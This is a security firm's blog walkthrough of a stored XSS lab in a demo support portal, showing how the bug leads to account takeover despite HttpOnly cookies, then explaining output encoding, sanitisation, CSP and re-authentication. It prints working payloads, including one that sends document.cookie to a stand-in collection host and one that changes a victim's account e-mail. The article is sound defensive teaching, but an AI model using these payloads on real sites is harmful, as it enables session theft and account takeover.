ECSEXCELON CYBER SOLUTIONS

Stored XSS to Account Takeover: Why HttpOnly Cookies Alone Do Not Save You

A lab walkthrough showing how stored XSS in a comment box becomes account takeover even with HttpOnly cookies, and how output encoding and CSP stop it.

By Excelon Cyber Solutions Security Team4 min read

Cross-site scripting (XSS) is often dismissed as "just a pop-up". In reality, script that runs in a victim's browser can act as that victim. This article follows a stored XSS bug in a demo support portal from first payload to account takeover, then shows the layered defences that actually work.

Key takeaways

  • Stored XSS runs attacker script as the victim, even when cookies are HttpOnly.
  • Anti-CSRF tokens do not stop it, because same-origin script can read them.
  • Encode output by context, sanitise rich text, and add a strict Content Security Policy.
  • Ask for re-authentication before sensitive changes such as e-mail or password.

The vulnerable page

Customers leave comments on support tickets. The server stores the text and the page renders it like this:

js
// Server-side template (vulnerable)
res.send(`<div class="comment">${comment.body}</div>`);

Whatever a customer types is inserted into the HTML without encoding. Support agents read the same comments in the admin view, so the audience includes privileged users.

Step 1: Prove script execution safely

The classic proof uses a harmless marker, not an alert box that disrupts users:

html
<img src=x onerror="document.title='xss-test-'+document.domain">

When another account opens the ticket, the browser tab title changes. That confirms attacker-controlled JavaScript runs in the portal's origin.

Textbook exploitation sends the session cookie to the attacker:

html
<img src=x onerror="fetch('https://collab.example.test/c?d='+btoa(document.cookie))">

In the lab the session cookie is marked HttpOnly, so document.cookie does not contain it and this payload leaks nothing useful. Many teams stop here and conclude the bug is low risk. That conclusion is wrong.

Step 3: Act as the user instead of stealing the session

The script does not need the cookie. The browser attaches it automatically to same-origin requests. The payload below changes the victim's account e-mail, which then allows a password reset:

html
<img src=x onerror="
fetch('/account/email', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({email: 'attacker@lab.example.test'})
})">

If the endpoint also requires an anti-CSRF token, the script can read the token from the page (or fetch the settings page and parse it), because script running in the same origin can read same-origin responses. Anti-CSRF protection does not stop XSS.

Illustrative lab outcome when an agent opened the poisoned ticket:

EventResult
Payload stored in comment1 request
Time until an agent opened the ticket14 minutes
Account e-mail changed to attacker addressyes
Password reset link delivered to attackeryes
Attacker logged in as the agentyes
Total user interaction requiredopening a ticket

The same payload could also read private tickets, perform admin actions or add a persistent backdoor user.

The fix, in layers

1. Encode output for the context it lands in. Modern frameworks do this by default; bugs appear when developers bypass it.

jsx
// React escapes by default
<div className="comment">{comment.body}</div>

// Dangerous escape hatch: avoid unless the HTML is sanitised first
<div dangerouslySetInnerHTML={{ __html: comment.body }} />

2. If you must allow rich text, sanitise with an allow-list library such as DOMPurify on a trusted path, and keep it updated.

3. Add a Content Security Policy to cut the damage when something slips through:

text
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-RANDOM_PER_RESPONSE';
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none'

Inline event handlers such as onerror= are blocked because they are not allowed by the policy.

4. Cookie hygiene still matters. HttpOnly, Secure and SameSite=Lax (or Strict) reduce the blast radius, but they do not replace the steps above.

5. Re-authenticate for sensitive changes. Asking for the current password or an e-mail confirmation before changing the login e-mail would have broken the chain in this lab.

How we test for it

We inject unique markers into every stored field (names, comments, file names, profile fields), then browse the application as other roles to see where the marker is executed. Fixing the output context once, in a shared component, usually closes a whole class of findings.

Frequently asked questions

Is HttpOnly enough to stop XSS damage?

No. It prevents script from reading the session cookie, but the script can still send authenticated requests as the user. Output encoding and a Content Security Policy are the real defences.

Are React applications safe from XSS?

React escapes text by default. Risk returns through dangerouslySetInnerHTML, unsafe URL schemes in links, and third-party scripts, so review those.

What is the difference between stored, reflected and DOM XSS?

Stored XSS is saved on the server and hits every viewer. Reflected XSS comes from a crafted link and needs the victim to click it. DOM XSS happens entirely in client-side code.

Further reading

Need this tested?

Have our senior analysts test your application

Excelon Cyber Solutions runs web application, API and network penetration tests across India, with every finding reproduced and documented before it reaches your report.

WHATSAPP